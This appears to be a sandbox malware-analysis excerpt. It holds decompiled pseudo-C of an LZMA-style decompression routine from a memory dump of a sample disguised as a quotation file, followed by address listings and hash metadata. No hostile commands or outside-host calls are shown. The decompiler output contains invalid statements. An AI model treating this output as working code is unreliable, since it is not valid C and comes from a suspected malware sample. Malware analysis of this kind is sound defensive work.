												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x0040711c
0x0040711c
0x00407120
0x0040712d
0x00407137
0x00000000
0x00407122
0x00407122
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x004073cb
0x004073cb
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb
0x00000000
0x00407120

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction Fuzzy Hash: 2B711571D04228DBEF28CF98C8547ADBBB1FF44305F14806AD856BB281D778A986DF05

Uniqueness

Uniqueness Score: -1.00%

Function 00407068 Relevance: 5.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407068() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xa;
						_t606 =  *(_t613 - 4) + 0x1b0 +  *(_t613 - 0x38) * 2;
					} else {
						 *(__ebp - 0x84) = 9;
						 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
					}
					while(1) {
						 *(_t613 - 0x54) = _t606;
						while(1) {
							L133:
							_t531 =  *_t606;
							_t589 = _t531 & 0x0000ffff;
							_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
